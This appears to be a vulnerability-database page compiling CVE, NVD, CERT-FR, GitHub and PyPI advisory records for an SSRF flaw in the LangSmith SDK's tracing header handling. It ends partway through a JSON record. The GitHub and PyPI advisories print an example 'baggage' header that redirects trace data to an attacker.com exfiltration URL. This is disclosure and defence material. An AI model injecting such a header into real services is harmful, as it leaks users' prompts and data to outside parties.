Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-25528 (GCVE-0-2026-25528)
Vulnerability from cvelistv5 – Published: 2026-02-09 20:08 – Updated: 2026-02-10 15:59- CWE-918 - Server-Side Request Forgery (SSRF)
| URL | Tags |
|---|---|
| https://github.com/langchain-ai/langsmith-sdk/sec… | x_refsource_CONFIRM |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| langchain-ai | langsmith-sdk |
Affected:
>= 0.4.10, <0.6.3
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-25528",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-10T15:39:48.039907Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-10T15:59:49.992Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "langsmith-sdk",
"vendor": "langchain-ai",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.4.10, \u003c0.6.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "LangSmith Client SDKs provide SDK\u0027s for interacting with the LangSmith platform. The LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-09T20:08:32.903Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
}
],
"source": {
"advisory": "GHSA-v34v-rq6j-cj6p",
"discovery": "UNKNOWN"
},
"title": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-25528",
"datePublished": "2026-02-09T20:08:32.903Z",
"dateReserved": "2026-02-02T19:59:47.373Z",
"dateUpdated": "2026-02-10T15:59:49.992Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-25528",
"date": "2026-08-31",
"epss": "0.00282",
"percentile": "0.20268"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-25528\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-09T21:15:48.857\",\"lastModified\":\"2026-06-17T10:24:47.890\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"LangSmith Client SDKs provide SDK\u0027s for interacting with the LangSmith platform. The LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.\"},{\"lang\":\"es\",\"value\":\"Los SDKs del cliente de LangSmith proporcionan SDKs para interactuar con la plataforma LangSmith. La caracter\u00edstica de trazado distribuido del SDK de LangSmith es vulnerable a la falsificaci\u00f3n de petici\u00f3n del lado del servidor a trav\u00e9s de encabezados HTTP maliciosos. Un atacante puede inyectar valores arbitrarios de api_url a trav\u00e9s del encabezado \u0027baggage\u0027, haciendo que el SDK exfiltre datos de traza sensibles a puntos finales controlados por el atacante. Al usar el trazado distribuido, el SDK analiza los encabezados HTTP entrantes a trav\u00e9s de RunTree.from_headers() en Python o RunTree.fromHeaders() en Typescript. El encabezado \u0027baggage\u0027 puede contener configuraciones de r\u00e9plica, incluyendo los campos api_url y api_key. Antes de la correcci\u00f3n, estos valores controlados por el atacante eran aceptados sin validaci\u00f3n. Cuando una operaci\u00f3n trazada se completa, los m\u00e9todos post() y patch() del SDK env\u00edan datos de ejecuci\u00f3n a todas las URLs de r\u00e9plica configuradas, incluyendo cualquiera inyectada por un atacante. Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 0.6.3 del SDK de Python y 0.4.6 del SDK de JavaScript.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"langchain-ai\",\"product\":\"langsmith-sdk\",\"versions\":[{\"version\":\"\u003e= 0.4.10, \u003c0.6.3\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N\",\"baseScore\":5.8,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":1.4}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-02-10T15:39:48.039907Z\",\"id\":\"CVE-2026-25528\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"references\":[{\"url\":\"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p\",\"source\":\"security-advisories@github.com\"}]}}",
"redhat_vex": {
"current_release_date": "2026-02-11T01:33:07+00:00",
"cve": "CVE-2026-25528",
"id": "CVE-2026-25528",
"initial_release_date": "2026-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25528.json",
"version": "3"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-25528\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-02-10T15:39:48.039907Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-02-10T15:39:48.719Z\"}}], \"cna\": {\"title\": \"LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection\", \"source\": {\"advisory\": \"GHSA-v34v-rq6j-cj6p\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 5.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"langchain-ai\", \"product\": \"langsmith-sdk\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 0.4.10, \u003c0.6.3\"}]}], \"references\": [{\"url\": \"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p\", \"name\": \"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"LangSmith Client SDKs provide SDK\u0027s for interacting with the LangSmith platform. The LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-02-09T20:08:32.903Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-25528\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-02-10T15:59:49.992Z\", \"dateReserved\": \"2026-02-02T19:59:47.373Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-02-09T20:08:32.903Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
CERTFR-2026-AVI-0424
Vulnerability from certfr_avis - Published: 2026-04-10 - Updated: 2026-04-10
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et une atteinte à la confidentialité des données.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | Sterling | Sterling External Authentication Server versions 6.1.1.x antérieures à 6.1.1.3 GA | ||
| IBM | N/A | WebSphere Application Server Liberty versions 17.0.0.3 à 26.0.0.3 sans le correctif APAR PH70510 | ||
| IBM | QRadar SIEM | QRadar AI Assistant pour QRadar SIEM versions antérieures à 1.4.0 | ||
| IBM | Sterling | Sterling Secure Proxy versions 6.1.0.x antérieures à 6.1.0.4 GA | ||
| IBM | Sterling | Sterling Secure Proxy versions 6.2.1.x antérieures à 6.2.1.2 GA |
| Title | Publication Time | Tags | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Sterling External Authentication Server versions 6.1.1.x ant\u00e9rieures \u00e0 6.1.1.3 GA",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Application Server Liberty versions 17.0.0.3 \u00e0 26.0.0.3 sans le correctif APAR PH70510",
"product": {
"name": "N/A",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar AI Assistant pour QRadar SIEM versions ant\u00e9rieures \u00e0 1.4.0",
"product": {
"name": "QRadar SIEM",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Secure Proxy versions 6.1.0.x ant\u00e9rieures \u00e0 6.1.0.4 GA",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Secure Proxy versions 6.2.1.x ant\u00e9rieures \u00e0 6.2.1.2 GA",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-26007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26007"
},
{
"name": "CVE-2026-21933",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21933"
},
{
"name": "CVE-2026-21932",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21932"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-27025",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27025"
},
{
"name": "CVE-2026-22029",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22029"
},
{
"name": "CVE-2026-22030",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22030"
},
{
"name": "CVE-2026-21925",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21925"
},
{
"name": "CVE-2026-27024",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27024"
},
{
"name": "CVE-2020-10878",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-10878"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2026-28351",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28351"
},
{
"name": "CVE-2026-21884",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21884"
},
{
"name": "CVE-2020-10543",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-10543"
},
{
"name": "CVE-2026-27199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
},
{
"name": "CVE-2026-26013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26013"
},
{
"name": "CVE-2020-12723",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-12723"
},
{
"name": "CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"name": "CVE-2026-23950",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23950"
},
{
"name": "CVE-2026-2327",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2327"
},
{
"name": "CVE-2026-27888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27888"
},
{
"name": "CVE-2026-29786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29786"
},
{
"name": "CVE-2026-25528",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25528"
},
{
"name": "CVE-2025-40909",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
},
{
"name": "CVE-2026-25639",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25639"
},
{
"name": "CVE-2026-21945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21945"
},
{
"name": "CVE-2025-12194",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12194"
},
{
"name": "CVE-2026-27026",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27026"
},
{
"name": "CVE-2026-27212",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27212"
},
{
"name": "CVE-2026-24688",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24688"
},
{
"name": "CVE-2026-29063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
},
{
"name": "CVE-2026-27628",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27628"
}
],
"initial_release_date": "2026-04-10T00:00:00",
"last_revision_date": "2026-04-10T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0424",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-04-10T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, un d\u00e9ni de service \u00e0 distance et une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-04-06",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268602",
"url": "https://www.ibm.com/support/pages/node/7268602"
},
{
"published_at": "2026-04-07",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268724",
"url": "https://www.ibm.com/support/pages/node/7268724"
},
{
"published_at": "2026-04-07",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268726",
"url": "https://www.ibm.com/support/pages/node/7268726"
},
{
"published_at": "2026-04-06",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268604",
"url": "https://www.ibm.com/support/pages/node/7268604"
},
{
"published_at": "2026-04-06",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268649",
"url": "https://www.ibm.com/support/pages/node/7268649"
},
{
"published_at": "2026-04-07",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7268725",
"url": "https://www.ibm.com/support/pages/node/7268725"
}
]
}
FKIE_CVE-2026-25528
Vulnerability from fkie_nvd - Published: 2026-02-09 21:15 - Updated: 2026-06-17 10:24| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "langsmith-sdk",
"vendor": "langchain-ai",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.4.10, \u003c0.6.3"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "LangSmith Client SDKs provide SDK\u0027s for interacting with the LangSmith platform. The LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker. This vulnerability is fixed in version 0.6.3 of the Python SDK and 0.4.6 of the JavaScript SDK."
},
{
"lang": "es",
"value": "Los SDKs del cliente de LangSmith proporcionan SDKs para interactuar con la plataforma LangSmith. La caracter\u00edstica de trazado distribuido del SDK de LangSmith es vulnerable a la falsificaci\u00f3n de petici\u00f3n del lado del servidor a trav\u00e9s de encabezados HTTP maliciosos. Un atacante puede inyectar valores arbitrarios de api_url a trav\u00e9s del encabezado \u0027baggage\u0027, haciendo que el SDK exfiltre datos de traza sensibles a puntos finales controlados por el atacante. Al usar el trazado distribuido, el SDK analiza los encabezados HTTP entrantes a trav\u00e9s de RunTree.from_headers() en Python o RunTree.fromHeaders() en Typescript. El encabezado \u0027baggage\u0027 puede contener configuraciones de r\u00e9plica, incluyendo los campos api_url y api_key. Antes de la correcci\u00f3n, estos valores controlados por el atacante eran aceptados sin validaci\u00f3n. Cuando una operaci\u00f3n trazada se completa, los m\u00e9todos post() y patch() del SDK env\u00edan datos de ejecuci\u00f3n a todas las URLs de r\u00e9plica configuradas, incluyendo cualquiera inyectada por un atacante. Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 0.6.3 del SDK de Python y 0.4.6 del SDK de JavaScript."
}
],
"id": "CVE-2026-25528",
"lastModified": "2026-06-17T10:24:47.890",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-25528",
"options": [
{
"exploitation": "none"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-10T15:39:48.039907Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-02-09T21:15:48.857",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-918"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-V34V-RQ6J-CJ6P
Vulnerability from github – Published: 2026-02-09 20:36 – Updated: 2026-02-09 22:39Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
-
Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader:baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] -
The service parses the header via
RunTree.from_headers(), storing the attacker's URL -
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
Affected Use Cases
Applications are vulnerable if they:
- Use TracingMiddleware to automatically propagate tracing context
- Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers
Remediation
Update to the patched versions:
- Python: pip install langsmith>=0.6.3
- JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Workarounds
If unable to upgrade immediately:
- Strip or validate the baggage header before passing to from_headers()
- Do not use TracingMiddleware with untrusted traffic
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langsmith"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.10"
},
{
"fixed": "0.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "langsmith"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.41"
},
{
"fixed": "0.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25528"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:36:59Z",
"nvd_published_at": "2026-02-09T21:15:48Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n ```\n baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker\u0027s URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith\u003e=0.6.3`\n- **JavaScript:** `npm install langsmith@\u003e=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic",
"id": "GHSA-v34v-rq6j-cj6p",
"modified": "2026-02-09T22:39:22Z",
"published": "2026-02-09T20:36:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langsmith-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection"
}
PYSEC-2026-2584
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:04Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
-
Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader:baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] -
The service parses the header via
RunTree.from_headers(), storing the attacker's URL -
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
Affected Use Cases
Applications are vulnerable if they:
- Use TracingMiddleware to automatically propagate tracing context
- Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers
Remediation
Update to the patched versions:
- Python: pip install langsmith>=0.6.3
- JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Workarounds
If unable to upgrade immediately:
- Strip or validate the baggage header before passing to from_headers()
- Do not use TracingMiddleware with untrusted traffic
| Name | purl | langsmith | pkg:pypi/langsmith |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
